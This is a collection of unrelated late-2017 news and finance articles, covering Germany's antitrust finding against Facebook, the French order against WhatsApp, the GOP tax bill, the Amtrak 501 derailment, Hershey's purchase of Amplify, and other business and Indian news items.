Facebook is abusing this dominant position by making the use of its social network conditional on its being allowed to limitlessly amass every kind of data

Federal Cartel Office

The regulator said this was in breach of data protection rules. The authority holds the view that Facebook is abusing this dominant position by making the use of its social network conditional on its being allowed to limitlessly amass every kind of data generated by using third-party websites and merge it with the user's Facebook account, it said.

Facebook's users are oblivious as to which data from which sources are being merged to develop a detailed profile of them and their online activities.

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The social network must now respond to the FCO. On Tuesday, Facebook labelled the decision inaccurate.

Monthly active users - Facebook, Instagram, Twitter, WhatsApp

The reality is that Facebook doesn't show any of the signs of a dominant company in Germany or elsewhere, it said.

We've repeatedly had to change to keep up with what people want  re-engineering Facebook for mobile devices, investing heavily in video, and building out new messaging features. Our size does not allow us to create products and force people to use them. Thats how a company acts in a competitive marketplace  its not how a dominant company behaves.

The company is also under scrutiny in France, where the countrys data regulator has ordered it to stop sharing data between WhatsApp and Facebook itself. It has been told to cease within a month, or to obtain appropriate consent from users.
Facebook said Monday the U.S. government is making more secret requests for data about more users than ever before. The government made 32,716 requests for data from the company in the first half of 2017, with 57 percent of those requests coming with demands for confidentiality, the company said in its semi-annual Transparency Report . Those requests asked for data on 52,280 users, and the company provided such data 85 percent of the time. The number of requests was up 25.7 percent from the 26,014 made during the last six months of 2016, Facebook said. Those requests covered 41,492 users, and Facebook (NASDAQ: FB) produced data on 83.4 percent of them. "Fifty-seven percent of the data requests we received from law enforcement in the U.S. contained a non-disclosure order that prohibited us from notifying the user, up from 50% in our last report," the company said in a Facebook post announcing the report.The report also contained redacted copies of five U.S. requests for data that the company was not allowed to disclose previously due to national security concerns.These national security letters were received from FBI offices in Michigan, California, Virginia and Florida between 2012 and 2015.The company also said it received 352,889 copyright and trademark complaints during the first half of this year regarding content on Facebook and Instagram. Facebook said Monday the U.S. government is making more secret requests for data about more users than ever before. The government made 32,716 requests for data from the company in the first half of 2017, with 57 percent of those requests coming with demands for confidentiality, the company said in its semi-annual Transparency Report . Those requests asked for data on 52,280 users, and the company provided such data 85 percent of the time. The number of requests was up 25.7 percent from the 26,014 made during the last six months of 2016, Facebook said. Those requests covered 41,492 users, and Facebook (NASDAQ: FB) produced data on 83.4 percent of them. "Fifty-seven percent of the data requests we received from law enforcement in the U.S. contained a non-disclosure order that prohibited us from notifying the user, up from 50% in our last report," the company said in a Facebook post announcing the report. The report also contained redacted copies of five U.S. requests for data that the company was not allowed to disclose previously due to national security concerns. These national security letters were received from FBI offices in Michigan, California, Virginia and Florida between 2012 and 2015. The company also said it received 352,889 copyright and trademark complaints during the first half of this year regarding content on Facebook and Instagram.



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Even after the Kerala High Court ordered the police to drop all charges against Nadeer- who they mistook to be a Maoist, the police has again issued a lookout notice against him.

By P S Gopikrishnan Unnithan: He lost his work visa, job and is still believed to be a Maoist by many, or at least shown as one in police posters- life for 28-year-old Nadeer is far from normal.

Police negligence has cost Nadeer more than he could imagine.

A freelance journalist now, Nadeer used to formerly work with a private firm in Qatar- but things changed when he returned to apply for visa last year.

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On December 19, 2016, he was picked up by the police on suspicion of colluding with Maoists.

According to the cops, he was a wanted Maoist among the six, they had been trying to nab for a long time. But, Nadeer claimed innocence throughout, calling this a sheer case of negligence on part of the police. He was let off after a state-wide protest ensued for his acquittal.

He soon moved to the Kerala High Court challenging the police case against him. Though the case is still pending, the court has ordered the police to dispose the matter at the earliest.

But, the Kerala Police seems in no mood to accede.

In a latest, the police has issued a lookout notice for 11 Maoist leaders' - and one is them is Nadeer, again.

Crying foul play here, Nadeer says that the police officials still haven't gotten their records right and this oversight is only severing affecting him.

Speaking to India Today, the 28-year-old freelance journalist said, "Nobody is willing to give a good job because of this Maoist tag. Now I have a small job at a publishing firm and that's how I'm surviving. I don't know why the police is trying to corner me..."

The posters have been pasted at several places, police stations and even government buildings. Speaking on condition of anonymity, a government official said that these posters were pasted only two weeks ago.

However, the police officials claim that these are old posters and they are no longer investigating the case.

--- ENDS ---
FirstEnergy Corp. FE and its subsidiaries are on the verge of completing a rebuilding and modernizing project worth $26 million in Portage and Trumbull counties, OH.

The project involves replacing the existing 69-kilovolt (kV) line with newer sets of poles and wires that will strengthen existing electric substations and enhance service reliability for Ohio Edison customers.

Details of Upgrade

Upgrade of the existing transmission line will result in addition of new switching devices that can be remotely monitored and controlled. Notably, addition of these to the line will allow grid operators to respond to power outages, faster and efficiently. Further, equipment will be used to enhance the line's capacity for meeting the growing electric demand. Notably, all of this is anticipated to be energized by the end of this year.

Once completed, the upgraded lines will utilize smart technologies to help reduce the frequency and duration of power outages.

Outcome Expected?

Notably, the ongoing reliability venture is part of FirstEnergys ambitious Energizing the Futureproject that was initiated by the company to reinforce the power grid along with reducing the frequency and duration of customer outages. Toward this, the company plans to invest nearly $1 billion in 2017 and $4.2-$5.8 billion over 2017-2021, under the initiative.

On conclusion of the ongoing reliability operations, the outcome is expected to benefit Ohio Edison customers and help strengthen the companys existing grid. Further, it will increase the companys flexibility to meet the rising demand for electricity.

Recently, the company's Ohio utilities proposed a $450 million investment plan for redesigning and modernization plan with the Public Utilities Commission of Ohio (PUCO) for reducing thefrequency and duration of power outages at Ohio Edison, Cleveland Electric Illuminating and Toledo Edison divisions. (Read more: FirstEnergy Corp Proposes $450M Modernization Investment)

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FirstEnergys Consistency with Modernization

It is not new for FirstEnergy to carry out improvement measures to enhance reliability in its service territories. In fact, the company has been enhancing and upgrading transmission lines, since 2014. Further, it has been introducing smarter technology into the grid, and outfitted substations with newer equipment and enhanced systems.

These efforts have aided the company to serve customers in a better way. Notably, such reliability improvements across the company's transmission system have aided the company to perform well in last few quarters. Such performance has aided the company to has earn a positive surprise of 4.67% in three of the last four quarters.

Considering that transmission lines and grid systems are susceptible to damages due to uncertain weather conditions, other utilities like American Electric Power Company, Inc. AEP, Duke Energy Corporation DUK and NextEra Energy, Inc. NEE have been undertaking investments toward transmission and distribution operations to ensure reliability of services and provide better electricity services to customers.

Price Movement

Shares of FirstEnergy have returned 13.7% outperforming the industrys growth of 4.9% in the last six months.

This can be attributed to the company's focus on continuous upgrading of transmission lines and modernizing efforts in its distribution network, through solid investments. FirstEnergy currently carries a Zacks Rank #3 (Hold). You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.

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By Julia Fioretti BRUSSELS (Reuters) - France's data privacy watchdog may fine messaging app WhatsApp if it does not comply with an order to bring its sharing of user data with parent company Facebook into line with French privacy law. The French data protection authority - CNIL - said on Monday it had told WhatsApp to comply with the order within one month, and pay particular attention to obtaining users' consent. If WhatsApp does not comply it could sanction the company, it said. The CNIL said WhatsApp did not have the legal basis to share user data with Facebook and had violated its obligation to cooperate with the French authority. WhatsApp, bought by Facebook in 2014, said it would begin sharing some user data with the social media group in 2016, drawing warnings from European privacy watchdogs about getting the appropriate consent. In October, European Union privacy regulators criticized WhatsApp for not resolving their concerns over the messaging service's sharing of user data with Facebook a year after they first issued a warning. The French regulator said WhatsApp had not properly obtained users' consent to begin sharing their phone numbers with Facebook for "business intelligence" purposes. "The only way to refuse the data transfer for business intelligence purpose is to uninstall the application," the CNIL said in a statement. The regulator accepted the transfer of user data for security purposes seemed to be essential to the functioning of the application. But the watchdog also said the same did not apply for "business intelligence" purposes which aim to improve the apps' performance. "Privacy is incredibly important to WhatsApp. Its why we collect very little data, and encrypt every message," a spokeswoman for WhatsApp said. "We will continue to work with the CNIL to ensure users understand what information we collect, as well as how its used. And were committed to resolving the different, and at times conflicting, concerns weve heard from European Data Protection Authorities with a common EU approach before the General Data Protection Regulation comes into force in May 2018." European data protection authorities can only impose small fines at the moment, but a new EU privacy law entering into force next year will increase fines to up to 4 percent of a company's global turnover. The CNIL said it had repeatedly asked WhatsApp to provide a sample of French users' data transferred to Facebook but the company had explained it could not do so as it is located in the United States and "it considers that it is only subject to the legislation of this country." Separately, Germany's cartel office said on Tuesday it had found Facebook had abused its dominant market position, in a ruling that questioned the company's model of monetizing the personal data of its users through targeted advertising. (Reporting by Julia Fioretti; Editing by Jane Merriman and Mark Potter)
Freshfields Bruckhaus Deringer is advising JP Morgan on an $875m (660m) lawsuit brought by the Nigerian Government in a dispute over payments relating to a disputed oil deal. In documents filed in the High Court, the Federal Republic of Nigeria alleges that JP Morgan was grossly negligent and that $801.5m in government funds was "improperly dispersed". The funds were sent to a company in which Dan Etete, a former minister of petroleum in the Nigerian Government, held a controlling interest. According to the lawsuit, Etete has previous convictions in a French court for money laundering. Freshfields is advising JPMorgan on the dispute with a team led by financial services litigation partner Sarah Parkes. The Nigerian Government is being represented by Anthony Igbiniyesu, a senior solicitor-advocate at northwest London firm Verdant Solicitors, working alongside Nigerian firm Johnson Solicitors, with Andrew Mitchell QC and Richard Power of Fountain Court Chambers instructed as counsel. The dispute dates back to 1998, when the Federal Government of Nigeria awarded oil exploitation rights a newly established company named Malabu, in which Etete held a controlling interest. This award was rescinded the following year following a change in government, prompting a series of disputes over the ownership of the rights in the ensuing years. In 2011 a deal was agreed that would see Shell and Italian oil company Eni acquire the rights, with payments made via an escrow account managed by JP Morgan. However, the Nigerian Government claims that the account was used to disperse money "to persons who had no lawful right to the said sums" and that this was carried out without the appropriate due diligence. The claim alleges that JPMorgan failed in its duty of care and should have noted that the transfer was an attempt to "misappropriate" funds from the state. The Nigerian Government has brought a separate money laundering charge against Etete, which is still pending. Freshfields previously advised JPMorgan in 2012 when the bank sued the former boss of trader Bruno Iksil - better known as the 'London Whale' - after the bank incurred losses of $6bn (3.7bn) based on transactions he had made. Freshfields and Verdant declined to comment.
FILE PHOTO: Balloons are seen in front of a logo at Facebook's headquarters in London, Britain, December 4, 2017. REUTERS/Toby Melville/File Photo (Reuters)

By Douglas Busvine

FRANKFURT (Reuters) - Germany's competition watchdog has found that Facebook <FB.O> abused its dominant market position, challenging the U.S. social network's model of monetizing the personal data of its 2 billion users worldwide through targeted advertising.

Presenting preliminary findings of its 20-month-old probe, the Federal Cartel Office said Facebook held a dominant position among social networks - a characterization the company dismissed as "inaccurate".

The case is being closely watched in Germany, where concerns over data privacy are strong due to a history of state surveillance under Nazi and Communist rule. Facebook has been running an ad campaign to try to allay those fears.

Separately, Berlin will introduce a law in the new year imposing fines of up to 50 million euros ($59 million) on social media platforms that fail quickly to remove posts that propagate hate speech - a crime in Germany.

The anti-trust authority objected to Facebook's requirement that it gain access to third-party data when an account is opened - including from its own WhatsApp and Instagram products - as well as how it tracks which sites its users access.

"Above all we see the collection of data outside the Facebook social network and its inclusion in the Facebook account as problematic," cartel office President Andreas Mundt said in a statement.

This happens when a Facebook user views a page with a Facebook 'Like' button embedded in it - even if they don't click on the button itself, he added.

On Monday, France's data privacy watchdog said it may fine WhatsApp, the encrypted messaging app, if it does not comply with an order to bring its sharing of user data with Facebook into line with French privacy law.

'INACCURATE PICTURE'

Responding, Facebook said the cartel office had "painted an inaccurate picture" but said it would cooperate with the German investigation.

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"Although we are popular in Germany, we are not dominant," its head of data protection, Yvonne Cunnane, said in a blog post.

About 41 percent of Germans have active Facebook accounts, below the 66 percent in the United States, 64 percent in Britain and 56 percent in France, according to a survey by social media agencies Hootsuite and We Are Social.

"A dominant company operates in a world where customers don't have alternatives," said Cunnane, adding that the average smartphone user now accesses seven different communications apps or services.

Facebook, founded by CEO Mark Zuckerberg and fellow Harvard students in 2004, has grown exponentially to become the world's top social network and is valued on the stock market at $525 billion.

It has done so by providing free access to users while analyzing their online behavior to target advertising, where its revenues rose by half in the third quarter to $10 billion.

The probe by the German cartel office has raised eyebrows because some European Union officials see it as encroaching into an area properly overseen by data-protection authorities under EU-wide rules.

One German data-protection official said the investigation was legitimate because data protection and preventing abusive competition were "two sides of the same coin" when it comes to social networks.

"Facebook has built up an intricate network for unlimited data collection and compilation that is totally opaque," said Johannes Caspar, data protection commissioner for the city-state of Hamburg.

"This fundamentally collides with the right to self-determination of those affected."

In her blog post, Cunnane noted that Facebook abided by European data-protection laws and would comply with a new General Data Protection Regulation when it comes into force in the EU in May 2018.

The cartel office, which said it was working closely with data- and consumer-protection bodies, expects to publish the final results of its investigation into Facebook in the early summer of 2018 at the earliest.

Although the probe will not result in a fine, it could lead to assurances being sought from Facebook, or certain of its practices being banned, a cartel office spokesman said by way of clarification.

(Reporting by Douglas Busvine; Additional reporting by Foo Yun Chee in Brussels; Editing by Maria Sheahan and Mark Potter)
Republican Party leadership says it has the votes to pass the GOP tax bill, also known as the Tax Cuts and Jobs Act. That is welcome news to President Donald Trump and the Republicans, who have been trying to pass a signature legislative achievement through Congress all year. And if the projections are to be believed, the GOP tax bill vote will clear the United States Senate by the the narrowest of margins, before being signed into law by the president.

The controversial GOP tax reform bill is unpopular with voters on both sides of the aisle; more than half of Americans say the proposed tax plan would help neither their familys financial situation nor the U.S. economy, according to research by Gallup.

If thats true, why is the GOP tax bill moving through Congress? Heres everything you need to know about the GOP tax bill explained:

What are the GOP tax bill details?

For a bill that sold itself on simplification of the tax code, whether the GOP tax reforms will help or hurt you is difficult to determine  and depends on how you make your money and how much money you make. While the GOP tax bill makes big, sweeping changes to the tax code, it also has inserted small, incremental add-ons during the reconciliation (the process in which the House and Senate negotiate to make their two bills one) that could have huge impacts.

For instance, the GOP tax bill made changes to the current tax brackets. Though there are still seven brackets, the tax reform bill changes the rates paid by filers in each bracket, dropping the rates by as much as 4%. Dropping the 39.6% tax rate on the highest current bracket down to 37% will have a massive impact on the federal budget, which leads to either big spending cuts, a huge deficit, or both. As a result, the Congressional Budget Office has said the GOP tax bill will add at least $1.4 trillion to the deficit over the next 10 years.

Another reason why almost half the voters arent in favor of the GOP tax bill: It slashes the corporate tax rate from 35% to 21%. On the whole, this is generally unpopular with people who feel companies have been getting the better end of the stick for years. But small business owners are pleased with the new 20% business income tax deduction for pass-through business owners. These taxpayers, who tend to run LLCs, are happy to get relief from higher corporate rates. But its not just going to benefit people selling hand-made goods on their Etsy shop. Donald Trump owns 500 pass-through entities, for example, and some members of Congress could personally benefit as well.

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But in a nod to the middle class, the GOP tax bill doubles the standard deduction from $12,000 to $24,000 for married couples. That detail alone is designed to simplify filing, as it would encourage people to stop itemizing deductibles in favor of the larger standard deduction.

As the bill has moved through reconciliation, the ground has continued to shift, with some parts that once sparked ire now an afterthought. For example, in a previous version of the GOP tax bill, graduate students were up in arms because tuition wavers were slated to be taxed. But in the final GOP tax bill, Ph.D. students can breathe a sigh of relief because Republicans have backed off on taxing the tuition benefits.

However, throughout reconciliation, one proposal hasnt changed: the GOP tax bill kills the Affordable Care Acts individual mandate, something the Republican Party wasnt able to do through its multiple attempts to repeal the healthcare bill.

If you want to dig into the finer details yourself, you can read the latest version of the GOP tax bill. Or, for a more top line summary, check out these key changes.

When is the GOP tax bill vote date?

The House Rules Committee voted on Monday evening to hold the House vote for the GOP tax bill on Tuesday afternoon, says Reuters. If the bill passes the House, the Senate could then vote on it later Tuesday or Wednesday.

Who is voting on the GOP tax bill?

Both the House and the Senate have to pass the bill in order for it to be sent to President Trump for it to be signed into law.

To clear the House, the GOP tax bill must receive a simple majority, which would be 2018 votes. Currently there are 239 Republicans in the house, which means if the GOP tax bill vote goes along party lines, it would clear with ease. Still, there are dissenting Republicans in the House.

Another Republican NO vote on the final tax bill: Rep. Chris Smith of New Jersey will vote against it, his office says.  Thomas Kaplan (@thomaskaplan) December 18, 2017

To pass the Senate, the GOP tax bill must receive 51 votes, but the math is much more complicated than it seems. The Republican Party currently holds 52 seats. John McCain (R-Ariz.) will miss the GOP tax bill vote, because he had to return to his home state after being hospitalized for a viral infection while battling brain cancer. Jeff Flake (R-Ariz.) meanwhile, appears to be the only undecided Republican, and even if he votes against the bill, Vice President Mike Pence would cast a tie-breaking vote to pass the bill.

Susan Collins (R-Maine), who was one of the nails in the coffin of the Republicans Obamacare repeal attempts, is voting for tax reform, despite its inclusion of Obamacare-gutting provisions.

As revised, this bill will provide much-needed tax relief and simplification for lower- and middle-income families, while spurring the creation of good jobs and greater economic growth. (2/2) pic.twitter.com/QB4iM7EdAt  Sen. Susan Collins (@SenatorCollins) December 1, 2017

In addition, Bob Corker (R-Tenn.) has declared his support for the GOP tax bill, a flip that outraged opponents of the legislation. Originally Corker said he wouldnt vote for a bill that would impact the deficit so severely. But recently Corker has changed his tune, and some have pointed to recent changes to the bills language (called the Corker Kickback on Twitter) that could personally enrich the senator. Corker told the International Business Times that he didnt know about the sweetener, because he hadnt read the bill in full before changing his mind.

Where can you watch the GOP tax bill vote live?

C-SPAN, PBS, and other news outlets will carry the votes live on television and stream them over the web. But viewers who want to get their news direct from the source should point their web browsers towards the both the Houses and Senates streaming live floor proceedings.

What comes after the GOP tax bill vote?

If the GOP tax bill passes, parts of the law will take effect immediately after President Trump signs it into law. For instance, since income rates will be lower, less money will be withheld from paychecks starting early in the new year. But for the most part, changes wont go into effect until you begin filing your 2018 taxes. But a word of advice: Dont go dumping your healthcare coverage just because the individual mandate has been repealed. That stipulation doesnt go into effect until next year, and you will still be penalized if you lack coverage in 2018.
Many workers are quick to assume that once they retire, their living costs will automatically go down. But if there's one expense that's practically guaranteed to go up in retirement, it's healthcare. Between out-of-pocket costs associated with Medicare, Part B premiums, and long-term care, countless seniors will spend a huge chunk of their savings and Social Security income paying for their healthcare needs. It's important to read up on the cost of senior healthcare so you can factor it into your retirement planning and avoid getting caught off-guard.

What will you spend on healthcare in retirement?

If you're wondering what healthcare will cost the typical retiree today, you may need to prepare for a shock: The latest projections state that the average healthy 65-year-old couple today will spend $400,000 or more on medical care when you account for things such as Medicare premiums, copays and deductibles, and services not covered by Medicare.

A senior male patient sits next to a doctor who holds a pen and paper in his hands.

IMAGE SOURCE: GETTY IMAGES.

And that's just for healthy couples. If you have a known medical condition, your spending might easily surpass the $400,000 mark. Furthermore, you should know that our $400,000 estimate doesn't include long-term care -- something 70% of seniors ultimately end up needing.

How much might you spend on long-term care? According to Genworth Financial, the average assisted living facility costs $43,539 per year, which is a bargain compared to a nursing home. A year of shared living in a nursing home costs an average of $82,125. Don't want a roommate? Then expect to pay $92,345 per year. Talk about painful.

Lowering your healthcare costs in retirement

When you see numbers like those thrown at you, it's easy to fall into a state of instant panic. But here's some good news: There are steps you can take to keep your healthcare costs in retirement to a minimum, one of the easiest of which is getting ahead of health problems before they develop or escalate. This means seeing your doctor sooner rather than later when you start to experience issues, and keeping up with whatever diagnostics and screenings your physician recommends.

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For example, if you develop a bronchial infection and get it checked out before it worsens, your doctor might manage to treat it with low-cost antibiotics. But if you let it develop into full-blown pneumonia and require a hospital stay, your out-of-pocket costs will be much, much higher.

Another way to protect yourself from astronomical healthcare expenses in retirement is to invest in long-term care insurance when you're younger. Long-term care insurance can help defray the cost of nursing homes and assisted living facilities, both of which Medicare won't cover.

And speaking of Medicare limitations, part of the reason healthcare in retirement costs so much is that routine dental, vision, and hearing services aren't covered by Medicare, either. That said, if you purchase a Medicare Advantage plan, you'll generally get coverage for dental, vision, and hearing, not to mention a host of additional benefits. In fact, in some cases, you might end up paying less for Medicare Advantage than traditional Medicare, yet come out way ahead coverage-wise.

Furthermore, whereas your out-of-pocket costs under original Medicare are virtually limitless, many Advantage plans impose limits on what you'll be responsible to pay within a given coverage period. And that could end up being a huge money-saver in retirement.

Plan ahead, save wisely

Even if you take steps to lower your medical costs in retirement, you should still expect to spend a bundle, especially if you live a longer life. That's why it's crucial to save wisely and aggressively during your working years -- so that you have money available to cover the costs you eventually come to encounter. Without a crystal ball, there's no telling exactly how much you'll ultimately spend on healthcare as a senior, but if you save appropriately, you'll have much less stress to deal with when you're older.

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In a bid to go beyond chocolate and gain a solid footing in the fast-growing market for healthy snacks Hershey Co. HSY inked a deal to acquire Amplify Snack Brands Inc. BETR  the maker of SkinnyPop and Tyrrells potato chips.



Consequently, Amplify's shares were up 71.6% on Dec 18 while Hershey gained a mere 0.1%.



Terms of the Deal



Hershey agreed to buy all outstanding shares of Amplify Snack Brands for $12 a share, which is a 71% premium to Fridays closing price. Valued at approximately $1.6 billion, the deal includes net debt and a make-whole payment of $76 million related to the Tax Receivable Agreement (TRA).



Per the company, the transaction is slated to close in the first quarter of 2018 and will be funded with cash on hand and new debt. In fact, the acquisition is expected to be accretive to Hershey's earnings in the first year following the deal closure..The accord is also anticipated to generate approximately $20 million in annual run-rate synergies over the next two years.



However, the takeover is not expected to affect Hersheys full-year 2017 guidance, projected earlier.



Hershey and Other Food Biggies Diversify to Combat Fading Demand



The packaged food industry is suffering from waning consumer demand due to the shift in consumer preferences to healthier options. In this context, Austin, TX-based Amplify seems to be gaining ground as it offers the better-for-you food products. Apart from owing Skinny Pop popcorn and Tyrrells potato chips, Amplify also owns Oatmega bars made with whey protein from grass-fed cows in New Zealand.



Over the past two years, Hershey acquired brands like Krave meat jerky and Ripple Brand Collective's barkTHINS as well. Notably, the companys top-line performance was weak since 2014. However, sales increased a meager 0.7% in 2016 and 1.9% in the first nine months of 2017. Persistent macroeconomic challenges in China continued to hurt the companys result.



Notably, soft international sales due to macro headwinds, changing consumer shopping habits and intense competition from the broader snacking environment in the United States were mainly responsible for the sales results.



Apart from Hershey, other big food giants are gradually re-shuffling their shelves and are making niche acquisitions, given tepid demand.



In a separate press release, Campbell Soup Company CPB unveiled deal to buy Cape Cod chips-maker Snyder's-Lance, Inc. LNCE for $4.87 billion in cash to fight declining soup sales. The No. 5 U.S. healthy savory snacks maker  Snyder's-Lance  also owns brands like Eatsmart veggie snacks.



Although Campbell and Hershey operate in different section of food industry, their core products have been suffering from lower demand. Much of the sales debacle could be attributable to consumers changing eating patterns and their evolving preferences for healthy, fresh and organic food products.



Other biggies like General Mills Inc. GIS and Kellogg Co K are also acquiring or investing in healthier options to boost sales and thereby profits. In line with the strategy to diversify its organic offerings, Kellogg entered into an agreement in October 2017 to acquire protein bar maker  Chicago Bar Company. Chicago Bar Company makes RXBAR, which is considered to be the fastest growing nutrition bar brand in the United States. The addition of clean-label, high-protein RXBAR can be expected to revive Kelloggs wholesome snacks business, which has been weak over the past few quarters.



Meanwhile, Conagra Brands Inc CAG took over Boomchickapop popcorn maker  Angie's Artisan Treats  in September 2017.



Currently, Hershey and these food companies are regularly bringing innovations to its core brands to meet consumer demand and needs that are not addressed by its current portfolio. Hershey expects innovation to help it achieve its long-term net sales growth target of 2% to 4%.



Shares of this Zacks Rank #3 (Hold) company have gained 10.5% year to date, as against the industrys loss of 20.6%. Although the Hersheys earnings estimates for the current quarter and current year remained unchanged, successful innovation and progress in multi-year productivity, and cost-saving initiatives are likely to drive growth for this largest producer of quality chocolate products.



You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here.

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Zacks Editor-in-Chief Goes ""All In"" on This Stock



Full disclosure, Kevin Matras now has more of his own money in one particular stock than in any other. He believes in its short-term profit potential and also in its prospects to more than double by 2019. Today he reveals and explains his surprising move in a new Special Report.

Download it free >>



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The state government has informed the Legislative Assembly on Tuesday that almost 2,965 minor girls went missing from Maharashtra between January to June this year.

By Kiran Tare: Almost 2,965 minor girls went missing from Maharashtra between January to June this year, the state government informed the Legislative Assembly on Tuesday.

The issue of missing minors was discussed after a BJP member Randhir Savarkar asked a question in this regard.

Minister of State for Home Ranjit Patil said the number of missing minors in the same period last year was 2881.

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Chief Minister Devendra Fadnavis who heads the Home department stated in a written answer that the government has taken a decision to register all cases of missing minors as cases of kidnapping.

He mentioned that the Home department has instructed all police stations to register a case of kidnapping whenever parent or legal guardian of a child below age of 18 files a missing person complaint.

He claimed that it will make the police to search for the minor within five to six hours of his/her missing.

"Standard Operating Procedures (SOP) have been drafted in this regard," the CM mentioned in the reply to Savarkar's question.

Patil told the House that the government was aware that the number of kidnapping cases will go on after this.

"We are not bothered about the numbers but we are serious on finding the missing minors," he said.

Meanwhile, Fadnavis has claimed that the BJP's victory in Gujarat has made his government more stable and stronger.

"The Opposition had created a scene saying the political equations in Maharashtra will be changed after the Gujarat election. Their prediction will fall flat," said Fadnavis.

He pointed that the BJP has been winning the local civic body elections in the state. "That means people of Maharashtra don't want to go with the Congress and NCP," he said.

Fadnavis also predicted that Congress and NCP will not come together for the Assembly election in 2019. At the same time BJP will accommodate Shiv Sena as the former has a "big heart".

--- ENDS ---
Screen Shot 2017 12 18 at 5.25.21 PM

@AlexRozierK5/Twitter

A local reporter in Washington state captured video aboard the Amtrak 501 train about 10 minutes before it derailed Monday morning, killing at least three people.

The cause of the crash is under investigation.



A reporter for the local NBC affiliate KING 5 News captured video footage aboard the Amtrak train that derailed in DuPont, Washington, on Monday.

"I shot this video on board the #Amtrak501 in the 6 o clock hour this morning," Alex Rozier said on Twitter. "We got off after shooting the video. This specific car on the train derailed minutes after we shot this video."

"In the 7 o clock hour that same train derailed," Rozier continued. "We got off 10 minutes before the crash."

In the video, Rozier is seen on the train that eventually derailed at about 7:40 a.m. local time. The crash killed at least three people and sent at least 100 people to the hospital, according to the Associated Press.

In another video, Rozier panned a camera to a photographer and asked, "What do you think?"

"Smooth ride," the photographer replied.

Tweet Embed:

https://twitter.com/mims/statuses/942835036205694976?ref_src=twsrc%5Etfw

Everyone on @Amtrak 501 received this inaugural lanyard. At first, @AlexRozierK5 and I got a chuckle about it. I'll tell ya right now that we're holding onto these with our lives. #AmtrakDerailment pic.twitter.com/Nl8L0s9E4i

"TV news crews often get pulled from one story to go to the next breaker. This time it may have saved @AlexRozierK5 and @King5unit9's lives," another KING 5 News reporter, Elisa Hahn, tweeted.

The train was making its first trip on a new route in which it was to leave Seattle at 6 a.m. for a journey of about 3 1/2 hours to Portland, Oregon, the Associated Press said. It was the first time the public used a new bypass built on an existing rail line along the highway from Tacoma, Washington, to DuPont, near where the train derailed.

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Seventy-seven passengers and seven crew members were aboard the train when it derailed, pulling 13 cars from the tracks. National Transportation Safety Board investigators were examining the scene to determine the cause.

Watch the videos:

NOW WATCH: The CIO of a crypto hedge fund reveals why you should be cautious of the ICO bubble

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SEE ALSO: Photos show the moment an Amtrak train in Washington derailed and fell onto a highway
By Jeff Mason WASHINGTON (Reuters) - U.S. Vice President Mike Pence is postponing his trip to Egypt and Israel this week in order to stay in Washington for a congressional vote on President Donald Trump's tax overhaul plan, White House officials said on Monday. Pence had been scheduled to depart on Tuesday night for Cairo. Instead, the trip will be rescheduled for the week of Jan. 14, officials told reporters. "The vice president is committed to seeing the tax cut through to the finish line," said Alyssa Farah, a spokeswoman for Pence. "The vice president looks forward to traveling to Egypt and Israel in January." Pence has been a key figure in the Republican effort to overhaul U.S. tax law. He could provide a tie-breaking vote in the Senate if needed, though on Monday it looked like bill has enough votes among Senate Republicans to pass. Pence was to have spent three days in the region with stops in Cairo and Jerusalem, the first high-level official to visit after Trump reversed decades of U.S. policy and recognized Jerusalem as the capital of Israel. That decision led to uproar and protest in the region. The status of Jerusalem, which holds Muslim, Jewish and Christian holy sites, is one of the thorniest obstacles to a peace deal between Israel and the Palestinians, who were furious over Trump's move and have declined to meet with Pence. The international community does not recognize Israeli sovereignty over the full city. White House officials said the delay was not related to the reaction in the region to Trump's decision. Two Senate Republican holdouts agreed on Monday to support the tax package. Republicans hold a 52-48 majority in the body. "The tax vote is still in very good shape, but we don't want to take any chances," a White House official said, adding there were "several difference scenarios" in which Pence might be needed. The timing of the vote made the trip tricky. The House of Representatives was due to vote first at around 1:30 p.m. (1830 GMT) on Tuesday, according to Republican aides, while the Senate vote is expected to follow either later on Tuesday or on Wednesday. White House officials determined that if Pence could not leave for his trip by Tuesday evening, it would have pushed his meeting with Egyptian President Abdel Fattah al-Sisi on Wednesday to a very late hour and left little time to hold meetings with Prime Minister Benjamin Netanyahu and others in Israel before Friday at sunset, when Shabbat, the Jewish Sabbath, begins. "We ran into time constraints to get it all done before Shabbat," the official said. Even with the postponement to January, the trip will be overshadowed by Trump's decision on Jerusalem. Israel considers Jerusalem its eternal capital, while Palestinians want the capital of an independent state of theirs to be in the citys eastern sector, which Israel captured in the 1967 Middle East war and annexed in a move never recognized internationally. Pence, an evangelical Christian who planned to highlight the plight of Christian minorities during his trip, was not scheduled to meet with Palestinian Christians or with officials from the Coptic Christian church, who declined a meeting in response to the U.S. move. Palestinian President Mahmoud Abbas also refused a meeting with Pence. (Reporting by Jeff Mason; Editing by Jonathan Oatis and Leslie Adler)
Every day, Wall Street analysts upgrade some stocks, downgrade others, and "initiate coverage" on a few more. But do these analysts even know what they're talking about? Today, we're taking one high-profile Wall Street pick and putting it under the microscope...

Companhia de Saneamento Basico do Estado de Sao Paulo (NYSE: SBS) isn't exactly a name that rolls off the tongue -- nor is it a household name here in the United States. And yet, according to one investment banker, this Brazilian water utility could provide a very tidy profit to investors unafraid to invest a bit farther from U.S. shores.

Here's what you need to know about this upgrade.

Water treatment plant

Water treatment isn't a "sexy" business, but Sabesp stock still looks pretty attractive. Image source: Getty Images.

HSBC upgrades Sabesp

Thanksgiving is almost upon us, and much of Wall Street is quiescent, with few upgrades or downgrades being released. Not everyone celebrates Thanksgiving, however, and this morning, TheFly.com reported that British megabanker HSBC has just upgraded shares of Companhia de Saneamento Basico do Estado de Sao Paulo (better known as Sabesp) to buy.

HSBC cites "recent share underperformance" for its upgrade, but underperformance here appears to be a relative term. In fact, Sabesp shares are up 15% since the start of this year and, with their 3.7% dividend yield, have already rewarded investors mightily. That being said, over the past 12 months, Sabesp shares have underperformed the S&P slightly -- 12% gains versus 18% for the index.

More expensive, but still cheap

At today's share price of $10 and change, Sabesp stock is trading much closer to its 52-week high than to its 52-week low. And yet, there's an argument to be made that despite being more expensive than it once was, Sabesp stock is still objectively cheap.

At its trailing price-to-earnings ratio of 9.2, the stock certainly doesn't look expensive on its face. Moreover, Sabesp spends very little cash on capital investment, with the result being its trailing free cash flow amounts to $1.04 billion over the past 12 months. According to data from S&P Global Market Intelligence, that's 15% more than the company's reported net profit under GAAP, and results in a price-to-free-cash-flow ratio of only 7.1.

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Growth in a developing economy

